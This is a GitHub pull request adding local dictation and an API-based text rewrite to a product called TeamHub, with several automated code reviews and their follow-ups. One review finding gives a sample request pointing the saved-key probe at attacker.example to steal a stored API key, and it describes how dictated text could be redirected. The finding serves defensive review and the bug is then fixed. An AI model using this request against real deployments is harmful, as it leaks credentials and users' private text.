Repository navigation
Conversation
There was a problem hiding this comment.
Request changes (1 P1, 2 P2, 3 P3)
Scope: base main, merge base ef6f06d5, 1 commit (eef2e280), 96 files reviewed at the requested head. Helper skills loaded: coderbook, ponytail-review, karpathy-guidelines. The review ran in a separate session.
Findings
P1
1. Saving the API settings with an empty key sends the saved key to any new address. apps/teamhub/internal/voice/dictation_settings.go:125-151
- Problem:
ListDictationModelscorrectly refuses to use the saved key unlessconfig.BaseURL == baseURL, with the stated reason "otherwise a person could send it to a host of their choosing".SaveDictationAPIhas no such check. Wheninput.Keyis empty and a ciphertext exists, it opens the saved key and runss.dictationAPI.Probe(ctx, config)against the newly typedbaseURL, which sendsAuthorization: Bearer <saved key>to<new base>/models(voicedictation/api.go:122-127). - Failure scenario: someone saves a DeepSeek key. Any signed-in Human then sends
PUT /v0/voice-dictation-settings {"polish_source":"api","polish_api":{"base_url":"https://attacker.example","model":"x"}}. TeamHub sends the DeepSeek key to attacker.example. Any non-401/403/5xx answer also stores the attacker URL together with the old key. The Web page makes this easy to hit by accident:canSaveinvoice-local-model-page.tsx:158-164acceptskeySavedwith any address, so changing the address to another provider without retyping the key leaks the old key to that provider. - Fix: in
SaveDictationAPI, when the key is empty, reuse the saved key only ifbaseURL == existing.PolishApiBaseUrl.String; otherwise returnErrInvalidPolishAPI. Apply the samesameAddressrule tocanSaveon the Web page so it asks for a key once the address changes. Add a test for both cases.
P2
2. The settings logic in the voice service has no tests. apps/teamhub/internal/voice/dictation_settings.go
- Problem:
voicedictation/api_test.gocovers the HTTP client: SSRF refusal and listing. The 238 lines that decide security and routing have no tests at all: key reuse on save, binding a listing to the saved address, opening a key sealed under another encryption key (Chosen=false), choosing API or CLI inPolishDictation, and the purpose and session checks. The same is true of the handlers inapp/voice_dictation_settings.go. Finding 1 is the kind of bug those tests would have caught. - Fix: add table tests for
SaveDictationAPI,ListDictationModelsandPolishDictationwith a fakeDictationAPIthat records which key went to which URL.
3. Any signed-in Human chooses where everyone's dictated text goes. apps/teamhub/internal/app/voice_dictation_settings.go:22-25
- Problem: the row is deployment-wide, and the handler lets any session save it, "as for the voice provider keys". A Soniox key only changes which account pays. This setting changes the destination: once any user saves
polish_source=apiwith an https URL they control and any key (the probe accepts a 404 or 200), every other user's dictated passages are POSTed to that URL. On a server shared by several tenants or teams, that is a quiet exfiltration path. The docs mention the setting is shared but not this consequence. - Fix: restrict saving to the deployment owner (
internal/account/owner.goalready has the concept), or make the API route per user. At least state the consequence indocs/voice.md.
P3
4. The voice policy now probes Node Services synchronously on every read. apps/teamhub/internal/app/voice_media_policy.go:37 → voice_local_asr.go:22
- Once someone has chosen a rewrite, every
getVoiceMediaPolicyand every dictationcreateVoiceSessionmakes an HTTP GET to/voice/healthwith a 1-second timeout. A slow or restarting Node Services adds up to 1 s to each page's policy read. The PR's critical-path note covers the rewrite call but not this round trip. A short cache of the state (a few seconds) would remove it.
5. One new table is built across two migrations. apps/teamhub/migrations/00893_voice_dictation_settings.sql, 00894_voice_dictation_polish_api.sql
- Neither migration is on
mainyet, so 00894'sALTER TABLEcan be folded into 00893'sCREATE TABLE.
6. A CLI model picked from one person's catalog applies to everyone. apps/web/src/features/rooms/voice-control/voice-local-model-page.tsx:136-146
- The options come from the saving user's own Computers, but
PolishDictationruns on each dictating person's CLI. If someone picks a model id that only their Claude CLI offers, a colleague'sclaude --model <id>fails, and their dictation silently falls back to raw text with no sign why. Offer only the aliases (haiku, ...), or mention in the hint that the model must exist on every member's CLI.
Verified as fine
- SSRF guard:
NormalizeAPIBaseURLtakes https only, refuses credentials, query, fragment and literal private IPs (voicedictation/api.go:47-57). The dialer'sControlrefuses non-public addresses after DNS resolution (api.go:80-91), which covers names that resolve inside the network and DNS rebinding. The customhttp.Transportsets noProxy, so no environment proxy bypasses the check.CheckRedirectreturnsErrUseLastResponse. Response bodies are capped at 1 MiB. - The API key is never returned: the response has only
key_saved(app/voice_dictation_settings.go:104-108). Polish errors report only the status, not the body (api.go:229-232). - CLI argument injection: the model must start with an alphanumeric character in TeamHub (
voicedictation.go:69), node-services (model-call-http.tsMODEL_NAME), the contracts (node-services-internal/openapi.yaml,envelope.schema.jsonpattern) and the daemon (provider/model_invoke.goValidModelName, checked indaemon/model_invoke.go:156).--modelis added only when non-empty (claudeModelInvokeArgs). - Rolling deploy to Computers:
modelis sent only whenruntimeType === "claude"andsupportsModelInvokeModel(≥ 0.62.0,runner-connections.ts).apps/computeris bumped to 0.62.0.callIdincludes the model, so calls on different models are not deduplicated together (runtime-model-call.ts:607). - Polish failure paths:
#rewritefalls back to the raw text on rejection, abort or a blank answer (sensevoice.ts#rewrite). The runtime aborts at 10.5 s (agent.ts), above TeamHub's 9 s CLI and 8 s API timeouts. Finals are emitted in segment order through the#emittingchain. - The internal polish route sits on the voice-runtime-authenticated group (
routes_internal.go:111) and only serveschat_dictationsessions (dictation_settings.go:212). The CLI owner is the session'sCreatedByActorID. - Model download: pinned revision and SHA-256, a
.partfile with Range resume and a fallback for hosts that ignore the range, rename only after the checksum passes (local-asr-model.ts). It starts only when no Soniox key is set andVOICE_LOCAL_ASRis not0(voice/service.tsapply).VOICE_LOCAL_ASRis in.env.example;VOICE_LOCAL_ASR_MODEL_DIRandVOICE_LOCAL_ASR_THREADSare inenv-inventory.json. - Licenses: SpeakMore MIT text added; SenseVoice (FunASR model license) and sherpa-onnx (Apache-2.0) are noted in
NOTICE. - No CJK outside the locale catalogs; no CJK in the commit message; no merge commits.
Not verified: contracts:generate && contracts:verify (no node_modules in this worktree); the Desktop bundling of sherpa-onnx-node's per-platform optional packages through RUNTIME_PACKAGES, which the PR also lists as untested; memory use with several concurrent local dictations (each LiveKit job process loads its own copy of the model, maxSessions = 16).
Process notes
- The branch is one commit behind
main(a3b6f44b), andmainrequires up-to-date branches, so it needs a rebase before merge.
CI
gh pr checks reports no checks on this branch, so nothing has run in CI. I ran no tests myself; the findings above come from reading the code.
Automated review by Claude Code
Automated review of eef2e28 by Claude Code.
With no Soniox key, chat and Pocket notes dictation now runs on the SenseVoiceSmall int8 model (sherpa-onnx), ported from SpeakMore (MIT). Node Services downloads it once into AGENT_HOME/models (Hugging Face, or hf-mirror.com first in the cn region) with pinned checksums, and the voice worker runs it on the CPU. The model is offline, so the stream re-decodes the open segment for partials, cuts long speech at 30 s at the quietest frame, and ends a turn after about a second of silence by loudness alone. Each closed segment is rewritten (filler, recognition mistakes, punctuation) before it lands, on either the owner's connected Claude CLI or an OpenAI-compatible API of the deployment's own, such as DeepSeek. The choice is a deployment-wide voice_dictation_settings row; an API key is sealed with TEAMHUB_SECRET_ENCRYPTION_KEY and checked against /models on save. TeamHub connects only to public addresses and follows no redirect. A failed or slow rewrite keeps the recognized text. The Local model page of the voice key dialog (and a row in Settings > Security) offers both routes; for the API route a round button lists the API's models, using the saved key only for the address it was saved for. The Claude catalog picks the CLI model, Haiku by default. To pass that model to the CLI, model_invoke gains an optional model sent only to Computers from 0.62.0, which accept it as --model; older Computers keep the Runtime's default. A new dictation_polish model-call kind carries the rewrite through the same queue as chat. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Saving the API settings with the key left empty reused the saved key at whatever address was typed, which sent it to a host of the saver's choosing. Saving, probing and listing models now use the saved key only at the address it was saved for, and the page asks for a new key once the address changes. Also: table tests for the dictation settings service and its error codes; the readiness probe of Node Services is reused for three seconds; the two new migrations are one, numbered above main's latest; the CLI model list offers only the aliases every Claude CLI takes, since the choice applies to everyone; the docs say who can change where dictated text goes. Upstream gained its own model field on model_invoke, so this change now uses it: dictation's chosen model overrides the Agent's on Claude, and the duplicate wire, daemon and gating code is gone. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
eef2e28 to
59f338f
Compare
There was a problem hiding this comment.
Approve with nits (1 P3)
Scope: base main, merge base 9be58b70, 2 commits, 82 files. This is a follow-up on eef2e28. The branch was rebased since then, so I read the new 59f338fb commit, compared the rebased feature commit with the old one (git range-diff), and re-checked the whole merge-base diff for P0/P1 issues. I loaded the review skills from the repo's review recipe (coderbook, ponytail-review sections 1–3, karpathy-guidelines sections 2–3) and ran the review alone in a separate session.
Previous findings
- P1: an empty key on save sent the saved key to a new address. Resolved.
SaveDictationAPInow uses the saved key only throughsavedAPIKey, which returnsErrInvalidPolishAPIunless the normalized address matches the saved one (apps/teamhub/internal/voice/dictation_settings.go:166-172).ListDictationModelsuses the same check. The Web page asks for a new key once the address changes:savedKeyAppliesgatescanSaveandcanListModelsinvoice-local-model-page.tsx.TestSaveDictationAPIUsesASavedKeyOnlyAtItsOwnAddressandTestListDictationModelsUsesASavedKeyOnlyAtItsOwnAddresscover it. - P2: the dictation settings service had no tests. Resolved.
apps/teamhub/internal/voice/dictation_settings_test.gocovers key reuse, address binding, refusal without a store write, CLI model validation,Chosen=falsefor a key that can't be decrypted, and routing by source.TestVoiceDictationErrorsKeepTheirCodescovers the error-code mapping. - P2: any signed-in user can redirect everyone's dictation. Partially resolved. There is still no gate. The author says a deployment has one Account and no owner role.
docs/voice.mdnow states the risk and says leavingTEAMHUB_SECRET_ENCRYPTION_KEYunset turns the API route off, and the handler comment (voice_dictation_settings.go:24-27) says the same. I accept this as documented intent. - P3: a synchronous Node Services probe on every policy read. Resolved. The answer is cached for 3 s (
voice_local_asr.go:23-45), andTestLocalDictationStateIsReusedForAFewSecondscovers it. A small new issue in the cache is below. - P3: two migrations for one new table. Resolved. There is now a single
00894_voice_dictation_settings.sql, numbered after main's latest (00893_transcript_only_captures.sql). - P3: CLI model options came from one person's Computer catalog. Resolved. The page now offers only the
haiku/sonnet/opusaliases (cliModelAliases),isHostDefaultModelIdis removed as dead code, and the docs match.
Findings
P3
apps/teamhub/internal/app/voice_local_asr.go:42: the cache stores a failure caused by the caller's own context.probeLocalDictationuses the request context, and any error becomesUnavailable, which is then cached for 3 s for every caller. Example: a client navigates away while the probe is in flight, so the probe fails on the cancelled context andUnavailableis cached. For the next 3 s,localDictationEnabledreturns false to everyone. Policy reads hide local dictation, andcreateVoiceSessionfor a chat dictation fails withErrProviderUnavailable(handlers_voice_media.go:62-68). Concurrent readers also wait on the mutex while a probe runs (up to 1 s). Fix: probe withcontext.WithoutCancel(ctx).localASRClient's 1 s timeout already bounds the call.
Verified as fine
- The saved key never leaves its address.
dictationAPIConfigreturns the stored, already-normalized URL (dictation_settings.go:198-207), and both entry points compare it againstNormalizeAPIBaseURLoutput. - SSRF controls: the address must be https with no userinfo, query or fragment, and a literal private IP is refused (
voicedictation/api.go:47-58). The dialer'sControlre-checks every resolved address, including CGNAT (api.go:83-94), and redirects are not followed (api.go:106). An error body is not echoed back (api.go:228-231). - The CLI model override reaches the Claude CLI as
--model <alias>(local-daemon/internal/provider/model_invoke.go:755-757). Node Services validates the name against a regex that must start with a letter or digit (model-call-http.tsMODEL_NAME), so it can't be read as a flag. Only a Claude Runtime uses the override (runtime-model-call.ts:938-944), and the model is part ofcallId, so dedupe keys stay distinct. - Model download: pinned revision plus SHA-256 per file. A partial file is checked before it is renamed into place, and a host that ignores
Rangegets a full rewrite (node-services/src/voice/local-asr-model.ts:106-160). - Migration: one table, CHECK constraints keep the API row complete, and goose Down drops it.
- No CJK outside the locale catalogs, and no CJK in commit messages. No merge commits.
Process notes
59f338fb fix(voice): address review of local dictationonly patches8ad60ec4.maintakes rebase merges, so squash it into the feature commit before merging.- The branch is up to date with
main. Merge state is BLOCKED because CI hasn't run (see below).
CI
- The
CIworkflow for59f338fb(and foreef2e28before it) showsaction_required: a maintainer has to approve the workflow run, so no checks have run on this head. - I ran these locally:
go test -count=1 ./internal/voicedictation/ ./internal/voice/ -run 'Dictation|API|Normalize|Model|Polish'andgo test -count=1 ./internal/app/ -run 'Dictation|LocalASR|LocalDictation'. All passed. - Not run here: Web, node-services and voice-runtime tests, and the Desktop native bundle with
sherpa-onnx-node, which the PR also lists as untested.
Automated review by Claude Code
Automated review of 59f338f by Claude Code.
The probe of Node Services ran on the request's context, so a client that left mid-probe made it fail, and "unavailable" was then cached for every caller for a few seconds. The probe no longer inherits that cancellation; the client's one-second timeout still bounds it. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
There was a problem hiding this comment.
Approve (0 findings)
Scope: follow-up on 59f338f, reviewing head de3a8db against base main (merge base 9be58b7). I read the incremental diff (2 files) and spot-checked the whole PR's merge-base diff (3 commits, 82 files) for P0/P1 risk. The helper skills (coderbook, ponytail-review, karpathy-guidelines) were not loaded for this follow-up; I worked from the linger-pr-review checklist directly. The review ran in a separate session.
Previous findings
- P3 A failed probe from a cancelled request was cached for 3 s: Resolved.
apps/teamhub/internal/app/voice_local_asr.go:44now probes withcontext.WithoutCancel(ctx), and the 1 slocalASRClient.Timeout(voice_local_asr.go:18) still limits how long the probe can take.TestLocalDictationStateIgnoresTheCallersCancellation(voice_local_asr_test.go:70) covers this. Without the fix,http.Client.Dofails on the cancelled context and the probe cachesUnavailable, so the test does fail on the old code.
Findings
None.
Verified as fine
- Readiness cache: the probe runs under
a.localASR.mu, so at most one probe is in flight at a time. Each caller waits no more than about 1 s (the client timeout), and the result is cached for 3 s (voice_local_asr.go:36-47). - SSRF guard on the deployment's API route:
NormalizeAPIBaseURLaccepts only https URLs with no userinfo, query, fragment or literal private address (apps/teamhub/internal/voicedictation/api.go:47-58).- The dialer's
Controlhook checks every resolved address againstpublicAddress, which covers loopback, private, link-local, multicast, unspecified and 100.64/10 (api.go:72-92,api.go:100). - Redirects are refused (
api.go:107). The customTransportleavesProxyunset, so no environment proxy can bypass the dial check.
- The API error path does not echo the response body, which may contain the prompt; it reports only the status (
api.go:225-228). Response bodies are capped at 1 MiB (api.go:131,api.go:221). - CLI model names are checked against an anchored regex that requires a letter or digit first, so a model name cannot be read as a CLI flag (
voicedictation.go:69). - Rewrite calls share one key per session, model and text digest (
voicedictation.go:88), so a retried passage joins the call already running instead of starting another one. - No CJK appears in changed files outside the locale catalogs or in any commit message. There are no merge commits.
Process notes
59f338f("address review of local dictation") andde3a8db(the cancellation fix) only patch8ad60ec. Squash them into it before the rebase merge.mergeStateStatusisBLOCKED, andgh pr checksreports no checks for the branch, so CI still needs to run on this head.
CI
- No checks are reported on the PR at
de3a8db. - I ran
go test -count=1 -run 'TestLocalDictation' ./internal/app/inapps/teamhublocally, and it passed. - I did not run anything else. As the PR body notes, the Desktop bundle change (
sherpa-onnx-nodeinRUNTIME_PACKAGES) is untested.
Automated review by Claude Code
Automated review of de3a8db by Claude Code.
What and why
Dictation (the Message box, Voice Mode and Pocket notes) needed a Soniox key. With none saved it now runs on a local speech model and a text rewrite of the person's choice, so a deployment with no speech key can still dictate.
NOTICEandthird_party/licenses/speakmore-MIT.txtupdated). Node Services downloads the model (~230 MB) once intoAGENT_HOME/modelsthe first time it starts with no Soniox key (Hugging Face, or hf-mirror.com first forSIMPLEX_REGION=cn), resumable, pinned SHA-256.VOICE_LOCAL_ASR=0turns it off;VOICE_LOCAL_ASR_THREADScaps CPU threads. Recording still needs Soniox for speaker labels and never uses it.voice_dictation_settingsrow; dictation without a Soniox key stays off until someone chooses.dictation_polishmodel-call kind carries the rewrite through the same queue as chat. It names its model, which overrides the Agent's configured one on a Claude Runtime, over themodelfieldmodel_invokealready has onmain; this PR adds no wire or daemon change.How it was verified
voicedictationincl. SSRF refusal and model listing; the dictation settings service incl. which key goes to which address; error codes; the cached readiness probe), Web (voice key dialog, controls, Pocket dictation, i18n catalog).contracts:verify,check-repository,check-docs,check-web,check-node-services,check-teamhub,check-voice-runtime(typecheck, lint, build),check-scripts-fast, TeamHublint-goincl. doc comments,go testof every non-integration package, the layout test, sqlc verification.contracts/openapi/.main's 00893 applied), checked through Chrome: listing models with the saved key at its own address, a changed address disabling save and asking for its own key, and the CLI list offering only Haiku, Sonnet and Opus. The save-with-another-address refusal is covered by tests only.check-installer, the Python packaging tests ofcheck-desktop, and the migration history script (my test container lackspython3and PowerShell). The Desktop bundle change (sherpa-onnx-nodeinRUNTIME_PACKAGES) is untested. Failing only in my Linux container and unrelated to this change: a timezone-dependentrealtime.test.ts, and install and dev-computer script tests that needjq,curlorpython3.Boundary
docs/voice.md(dictation without a key, rewrite choices, model listing, pause ends a turn),docs/model-scheduling.md, and theAGENTS.mdof voice-runtime and node-services. New env vars are in.env.exampleandscripts/env-inventory.json.local_dictation_supported. A Computer too old to decodemodelkeeps the Runtime's default; a Runtime other than Claude keeps the Agent's model.provider_readypath: typed messages are untouched. A dictated turn adds one rewrite call before it is posted, bounded to about 10 s on the CLI and 8 s on an API, with the raw text as the fallback; the audio goes to no speech service.TEAMHUB_SECRET_ENCRYPTION_KEY(without it a key cannot be saved), checked against/modelson save, never returned, and the saved key is probed, stored again or used for a model listing only at the address it was saved for. TeamHub accepts https only, with no credentials, query or fragment, dials only public addresses (checked again at connect time) and follows no redirect. Dictated text goes to the chosen API from the server running TeamHub. The choice is deployment-wide and any signed-in Human can change it, whichdocs/voice.mdstates; there is no owner-only gate, since a deployment has one Account and TeamHub has no separate owner role.🤖 Generated with Claude Code